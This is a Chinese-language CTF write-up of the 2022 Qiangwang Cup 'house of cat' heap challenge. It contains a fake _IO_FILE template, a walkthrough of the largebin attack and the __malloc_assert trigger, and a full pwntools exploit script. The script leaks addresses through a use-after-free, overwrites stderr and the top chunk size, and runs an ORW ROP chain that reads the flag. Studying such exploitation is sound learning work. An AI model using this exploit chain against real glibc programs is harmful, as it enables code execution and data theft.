写在前面:打国赛的时候遇到的基本都是2.35的堆,奈何本人太菜做不出来,想着着暑假赶快恶补一下house of 系列。就先从house of cat 入手吧。之前高版本堆一直存在无符号表的情况,没符号表就看不了堆的构造,也就不能调试了(十分痛苦)。后来问了大哥,说是将下载的libc文件中的.debug 文件或者.debug 文件中的.buildid文件替换掉本地的符号表即可。代码大致如下:
sudo cp -r ~/桌面/glibc-all-in-one/libs/2.35-0ubuntu3.1_amd64/.debug/.build-id/* /usr/lib/debug/.build-id/
复现的是CatF1y大哥的出的同名题目2022 强网杯 house of cat。本题对于学习large bin attack 以及io 链的调用都有很大的帮助。具体的实现流程不再过多赘述,本博客主要记录使用方法。
fake_iofile模板:
ioaddr=heapaddr+0xaf0 #写入fake io 的堆块的地址(包含size 段的那块)
next_chain = 0
fake_IO_FILE = p64(ioaddr)
fake_IO_FILE +=p64(0)*5
fake_IO_FILE +=p64(1)+p64(2)
fake_IO_FILE +=p64(ioaddr+0xb0)#rdx =_IO_backup_base (原文说是函数执行时的rbx有点没懂,先埋个坑)
fake_IO_FILE +=p64(setcontext+61)#call addr (call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heapaddr+0x200) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE +=p64(ioaddr+0x30) #rax1
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, b'\x00')
fake_IO_FILE += p64(1) # _mode = 1
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, b'\x00')
fake_IO_FILE += p64(libcbase+0x2160d0) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(ioaddr+0x40) # rax2
flagaddr=heapaddr+0x17c0 # 根据后续填入"flag"字符串的位置来定
ropaddr=heapaddr+0x2040 # 根据后续写入rop链的位置来定
payload1=fake_IO_FILE+p64(flagaddr)+p64(0)+p64(0)*5+p64(ropaddr)+p64(ret)
largebin attack 过程:
之前对largebin attack 一直不太懂,通过本题有了一定的了解。
大概流程如下:
1.free 掉一个largebin 大小的chunk,他会进入unsortedbin中。
2.此时再申请一个更大的chunk,就会将unsortedbin 中的chunk放入largebin 中。
3.这时将bk_nextsize 设置为指定地址。
4.重复步骤一二就可以将新的chunk 链入largebin中,同时指定地址的值也会被改写成一个堆块的地址(即chunk2).
往指定地址写入一个堆块地址有什么用呢?如果我们在一个设计io调用链的函数中写入一个特定的堆地址,而这个堆地址是我们已经布置好的fake_iofile,那么通过一些函数调用是不是就能实现fake_io的利用呢?(比如FSOP或者__malloc_assert)
题目分析:
题目漏洞点主要在于free存在uaf,同时题目还给了两次edit机会。
所以可以利用uaf实现libc以及堆地址的泄露,利用edit实现两次largebin attack。
add(1,0x420,b'a')
add(2,0x420,b'b')
add(3,0x418,b'b')
delete(1)
add(4,0x440,b'b')
show(1)
addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
p.recv(10)
heapaddr=u64(p.recv(6).ljust(8,b'\x00'))-0x290
这样就可以同时将libc的地址以及堆地址泄露出来了。同时由于申请的堆块4size比堆块1的大,所以chunk1会进入到largebin中。
接着根据前面的模板布置好fake_iofile,同时将堆块3(5)进行释放,进入unsortedbin。这时布置好chunk1,将bk_nextsize设置为stderr-0x20。接着再次申请一个0x440的堆块,由于其大小大于chunk5,chunk5会进入到largebin中,同时stderr的地址会被设置成chunk5的地址即fake_iofile的地址。
delete(3)
add(5,0x418,payload1)
delete(5)
edit(1,p64(libcbase+0x21a0d0)*2+p64(heapaddr+0x290)+p64(stderr-0x20))
add(6,0x440,b'aaaa')
chunk6还未申请
chunk6申请之后
可以看到stderr被写入了chunk3(5)的地址,后续调用__malloc_assert时就可以调用stderr从而触发fake_iofile了。
接下来要触发stderr则要修改topchunk size这样在申请大堆块的时候就会出现topchunk size不满足从而触发__malloc_assert。思路同上,先释放chunk6,申请一个更大号的chunk10,chunk6进入largebin,再释放chunk8,布置chunk6,最后再申请一次大于chunk8 size的堆块即可。此时top chunk size就会被修改成一个较小的值,实现利用。(这里修改topchunk size 用的是heapaddr+0x28d0-0x20+3 即最后一块可用堆块的地址-0x20+3 不明白为什么不是直接用topchunk的地址,同时这里可以自己调试一下让topchunk的值变成一个较小的值)
add(6,0x440,b'aaaa')
gdb.attach(p)
add(7,0x430,b'flag')
add(8,0x430,b'cccc')
payload2=p64(rdi)+p64(0)+p64(close)+p64(rdi)+p64(flagaddr)+p64(rsi)+p64(0)+p64(rax)+p64(2)+p64(syscallret)+p64(rdi)+p64(0)+p64(rsi)+p64(flagaddr)+p64(rdxr12)+p64(0x50)+p64(0)+p64(read)+p64(rdi)+p64(1)+p64(write) #rax=2 open;
add(9,0x430,payload2)
delete(6)
add(10,0x450,b'aaaa')
delete(8)
edit(6,p64(libcbase+0x21a0d0)*2+p64(heapaddr+0x1360)+p64(heapaddr+0x28d0-0x20+3))
完整exp:
from pwn import *
from LibcSearcher import *
import hashlib
import time
context(os='linux', arch='amd64',log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
elf=ELF('./house_of_cat')
libc=ELF('./libc.so.6')
mode =0
if mode == 0:
p = process("./house_of_cat")
else:
p = remote("node2.anna.nssctf.cn", 28952)
#p = remote("47.98.99.193", 6666)
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x, drop=True)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()
li = lambda x: log.info(x)
db = lambda: gdb.attach(p)
sa('mew mew mew~~~~~~','LOGIN | r00t QWB QWXFadmin')
def add(idx,size,cont):
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n',str(1))
sla('plz input your cat idx:\n',str(idx))
sla('plz input your cat size:\n',str(size))
sa('plz input your content:\n',cont)
def delete(idx):
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n', str(2))
sla('plz input your cat idx:\n',str(idx))
def show(idx):
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n', str(3))
sla('plz input your cat idx:\n',str(idx))
def edit(idx,cont):
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n', str(4))
sla('plz input your cat idx:\n',str(idx))
sa('plz input your content:\n', cont)
add(1,0x420,b'a')
add(2,0x420,b'b')
add(3,0x418,b'b')
delete(1)
add(4,0x440,b'b')
show(1)
addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
p.recv(10)
heapaddr=u64(p.recv(6).ljust(8,b'\x00'))-0x290
libcbase=addr-(0x7f42230250e0-0x7f4222e0b000)+0x10
print(hex(addr))
print(hex(heapaddr))
print(hex(libcbase))
rdi=libcbase+0x000000000002a3e5
rsi=libcbase+0x000000000002be51
rdxr12=libcbase+0x000000000011f497
ret=libcbase+0x0000000000029cd6
rax=libcbase+0x0000000000045eb0
stderr=libcbase+libc.sym['stderr']
setcontext=libcbase+libc.sym['setcontext']
close=libcbase+libc.sym['close']
read=libcbase+libc.sym['read']
write=libcbase+libc.sym['write']
syscallret=libcbase+libc.search(asm('syscall\nret')).__next__()
print(hex(stderr))
ioaddr=heapaddr+0xaf0 #the heapaddr to write fake io (include head)
next_chain = 0
fake_IO_FILE = p64(ioaddr)
fake_IO_FILE +=p64(0)*5
#fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(1)+p64(2)
fake_IO_FILE +=p64(ioaddr+0xb0)#rdx
fake_IO_FILE +=p64(setcontext+61)#call addr
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heapaddr+0x200) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE +=p64(ioaddr+0x30) #rax1
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, b'\x00')
fake_IO_FILE += p64(1) # _mode = 1
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, b'\x00')
fake_IO_FILE += p64(libcbase+0x2160d0) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(ioaddr+0x40) # rax2
flagaddr=heapaddr+0x17c0 # tiaoshi
ropaddr=heapaddr+0x2040 # tiaoshi
payload1=fake_IO_FILE+p64(flagaddr)+p64(0)+p64(0)*5+p64(ropaddr)+p64(ret)
delete(3)
add(5,0x418,payload1)
delete(5)
edit(1,p64(libcbase+0x21a0d0)*2+p64(heapaddr+0x290)+p64(stderr-0x20))
add(6,0x440,b'aaaa')
gdb.attach(p)
add(7,0x430,b'flag')
add(8,0x430,b'cccc')
payload2=p64(rdi)+p64(0)+p64(close)+p64(rdi)+p64(flagaddr)+p64(rsi)+p64(0)+p64(rax)+p64(2)+p64(syscallret)+p64(rdi)+p64(0)+p64(rsi)+p64(flagaddr)+p64(rdxr12)+p64(0x50)+p64(0)+p64(read)+p64(rdi)+p64(1)+p64(write) #rax=2 open;
add(9,0x430,payload2)
delete(6)
add(10,0x450,b'aaaa')
delete(8)
edit(6,p64(libcbase+0x21a0d0)*2+p64(heapaddr+0x1360)+p64(heapaddr+0x28d0-0x20+3))
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n',str(1))
sla('plz input your cat idx:',str(11))
#gdb.attach(p,'b* (_IO_wfile_seekoff)')
sla('plz input your cat size:',str(0x450))
p.interactive()
总结:这种iofile题目难点在于如何找到合适的利用链,感觉在熟悉多种调用链后,其套路性应该还是比较明显的,这样就可以就可以将题目化成各种bin 的attack,不过本人在学习过程中还是存在许多不理解的地方,希望有大哥能带带我,也欢迎和各位师傅一起交流学习,如有错误还望指正。